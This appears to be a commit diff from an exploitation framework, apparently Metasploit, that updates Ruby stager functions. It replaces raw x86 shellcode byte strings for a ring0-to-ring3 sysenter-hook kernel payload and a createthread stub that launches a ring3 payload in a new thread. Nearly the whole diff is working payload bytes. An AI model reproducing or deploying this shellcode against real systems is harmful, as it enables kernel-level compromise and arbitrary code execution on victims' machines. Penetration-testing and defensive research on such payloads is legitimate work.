@@ -47,19 +47,21 @@ def self.stager_sysenter_hook( opts = {} )
4747 checksum = process [ 0 ] + ( process [ 2 ] << 8 ) + ( process [ 1 ] << 16 ) + ( process [ 3 ] << 24 )
4848
4949 # The ring0 -> ring3 payload blob.
50- r0 = "\xFC \xFA \xEB \x1E \x5E \x68 \x76 \x01 \x00 \x00 \x59 \x0F \x32 \x89 \x46 \x60 " +
51- "\x8B \x7E \x64 \x89 \xF8 \x0F \x30 \xB9 \x41 \x41 \x41 \x41 \xF3 \xA4 \xFB \xF4 " +
52- "\xEB \xFD \xE8 \xDD \xFF \xFF \xFF \x6A \x00 \x9C \x60 \xE8 \x00 \x00 \x00 \x00 " +
53- "\x58 \x8B \x58 \x57 \x89 \x5C \x24 \x24 \x81 \xF9 \xDE \xC0 \xAD \xDE \x75 \x10 " +
54- "\x68 \x76 \x01 \x00 \x00 \x59 \x89 \xD8 \x31 \xD2 \x0F \x30 \x31 \xC0 \xEB \x34 " +
55- "\x8B \x32 \x0F \xB6 \x1E \x66 \x81 \xFB \xC3 \x00 \x75 \x28 \x8B \x58 \x5F \x8D " +
56- "\x5B \x6C \x89 \x1A \xB8 \x01 \x00 \x00 \x80 \x0F \xA2 \x81 \xE2 \x00 \x00 \x10 " +
57- "\x00 \x74 \x11 \xBA \x45 \x45 \x45 \x45 \x81 \xC2 \x04 \x00 \x00 \x00 \x81 \x22 " +
58- "\xFF \xFF \xFF \x7F \x61 \x9D \xC3 \xFF \xFF \xFF \xFF \x42 \x42 \x42 \x42 \x43 " +
59- "\x43 \x43 \x43 \x60 \x6A \x30 \x58 \x99 \x64 \x8B \x18 \x39 \x53 \x0C \x74 \x2E " +
60- "\x8B \x43 \x10 \x8B \x40 \x3C \x83 \xC0 \x28 \x8B \x08 \x03 \x48 \x03 \x81 \xF9 " +
61- "\x44 \x44 \x44 \x44 \x75 \x18 \xE8 \x0A \x00 \x00 \x00 \xE8 \x10 \x00 \x00 \x00 " +
62- "\xE9 \x09 \x00 \x00 \x00 \xB9 \xDE \xC0 \xAD \xDE \x89 \xE2 \x0F \x34 \x61 \xC3 "
50+ # Full assembly source at:
51+ # external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm
52+ r0 = "\xFC \xFA \xEB \x1E \x5E \x68 \x76 \x01 \x00 \x00 \x59 \x0F \x32 \x89 \x46 \x5D " +
53+ "\x8B \x7E \x61 \x89 \xF8 \x0F \x30 \xB9 \x41 \x41 \x41 \x41 \xF3 \xA4 \xFB \xF4 " +
54+ "\xEB \xFD \xE8 \xDD \xFF \xFF \xFF \x6A \x00 \x9C \x60 \xE8 \x00 \x00 \x00 \x00 " +
55+ "\x58 \x8B \x58 \x54 \x89 \x5C \x24 \x24 \x81 \xF9 \xDE \xC0 \xAD \xDE \x75 \x10 " +
56+ "\x68 \x76 \x01 \x00 \x00 \x59 \x89 \xD8 \x31 \xD2 \x0F \x30 \x31 \xC0 \xEB \x31 " +
57+ "\x8B \x32 \x0F \xB6 \x1E \x66 \x81 \xFB \xC3 \x00 \x75 \x25 \x8B \x58 \x5C \x8D " +
58+ "\x5B \x69 \x89 \x1A \xB8 \x01 \x00 \x00 \x80 \x0F \xA2 \x81 \xE2 \x00 \x00 \x10 " +
59+ "\x00 \x74 \x0E \xBA \x45 \x45 \x45 \x45 \x83 \xC2 \x04 \x81 \x22 \xFF \xFF \xFF " +
60+ "\x7F \x61 \x9D \xC3 \xFF \xFF \xFF \xFF \x42 \x42 \x42 \x42 \x43 \x43 \x43 \x43 " +
61+ "\x60 \x6A \x30 \x58 \x99 \x64 \x8B \x18 \x39 \x53 \x0C \x74 \x2B \x8B \x43 \x10 " +
62+ "\x8B \x40 \x3C \x83 \xC0 \x28 \x8B \x08 \x03 \x48 \x03 \x81 \xF9 \x44 \x44 \x44 " +
63+ "\x44 \x75 \x15 \xE8 \x07 \x00 \x00 \x00 \xE8 \x0D \x00 \x00 \x00 \xEB \x09 \xB9 " +
64+ "\xDE \xC0 \xAD \xDE \x89 \xE2 \x0F \x34 \x61 \xC3 "
6365
6466 # The ring3 payload.
6567 r3 = ''
@@ -125,20 +127,19 @@ def self.sud_syscall_hook(opts = {})
125127 # Stub to run a prepended ring3 payload in a new thread.
126128 #
127129 # Full assembly source at:
128- # /msf3/ external/source/shellcode/windows/x86/src/single/createthread.asm
130+ # external/source/shellcode/windows/x86/src/single/createthread.asm
129131 #
130132 def self . _createthread
131- r3 = "\xFC \xE8 \x89 \x00 \x00 \x00 \x60 \x89 \xE5 \x31 \xD2 \x64 \x8B \x52 \x30 \x8B " +
132- "\x52 \x0C \x8B \x52 \x14 \x8B \x72 \x28 \x0F \xB7 \x4A \x26 \x31 \xFF \x31 \xC0 " +
133- "\xAC \x3C \x61 \x7C \x02 \x2C \x20 \xC1 \xCF \x0D \x01 \xC7 \xE2 \xF0 \x52 \x57 " +
134- "\x8B \x52 \x10 \x8B \x42 \x3C \x01 \xD0 \x8B \x40 \x78 \x85 \xC0 \x74 \x4A \x01 " +
135- "\xD0 \x50 \x8B \x48 \x18 \x8B \x58 \x20 \x01 \xD3 \xE3 \x3C \x49 \x8B \x34 \x8B " +
136- "\x01 \xD6 \x31 \xFF \x31 \xC0 \xAC \xC1 \xCF \x0D \x01 \xC7 \x38 \xE0 \x75 \xF4 " +
137- "\x03 \x7D \xF8 \x3B \x7D \x24 \x75 \xE2 \x58 \x8B \x58 \x24 \x01 \xD3 \x66 \x8B " +
138- "\x0C \x4B \x8B \x58 \x1C \x01 \xD3 \x8B \x04 \x8B \x01 \xD0 \x89 \x44 \x24 \x24 " +
139- "\x5B \x5B \x61 \x59 \x5A \x51 \xFF \xE0 \x58 \x5F \x5A \x8B \x12 \xEB \x86 \x5D " +
140- "\x31 \xC0 \x50 \x50 \x50 \x8D \x9D \xA0 \x00 \x00 \x00 \x53 \x50 \x50 \x68 \x38 " +
141- "\x68 \x0D \x16 \xFF \xD5 \xC3 \x58 "
133+ r3 = "\xFC \xE8 \x82 \x00 \x00 \x00 \x60 \x89 \xE5 \x31 \xC0 \x64 \x8B \x50 \x30 \x8B " +
134+ "\x52 \x0C \x8B \x52 \x14 \x8B \x72 \x28 \x0F \xB7 \x4A \x26 \x31 \xFF \xAC \x3C " +
135+ "\x61 \x7C \x02 \x2C \x20 \xC1 \xCF \x0D \x01 \xC7 \xE2 \xF2 \x52 \x57 \x8B \x52 " +
136+ "\x10 \x8B \x4A \x3C \x8B \x4C \x11 \x78 \xE3 \x48 \x01 \xD1 \x51 \x8B \x59 \x20 " +
137+ "\x01 \xD3 \x8B \x49 \x18 \xE3 \x3A \x49 \x8B \x34 \x8B \x01 \xD6 \x31 \xFF \xAC " +
138+ "\xC1 \xCF \x0D \x01 \xC7 \x38 \xE0 \x75 \xF6 \x03 \x7D \xF8 \x3B \x7D \x24 \x75 " +
139+ "\xE4 \x58 \x8B \x58 \x24 \x01 \xD3 \x66 \x8B \x0C \x4B \x8B \x58 \x1C \x01 \xD3 " +
140+ "\x8B \x04 \x8B \x01 \xD0 \x89 \x44 \x24 \x24 \x5B \x5B \x61 \x59 \x5A \x51 \xFF " +
141+ "\xE0 \x5F \x5F \x5A \x8B \x12 \xEB \x8D \x5D \x31 \xC0 \x50 \x50 \x50 \x8D \x9D " +
142+ "\x99 \x00 \x00 \x00 \x53 \x50 \x50 \x68 \x38 \x68 \x0D \x16 \xFF \xD5 \xC3 \x58 "
142143 return r3
143144 end
144145
0 commit comments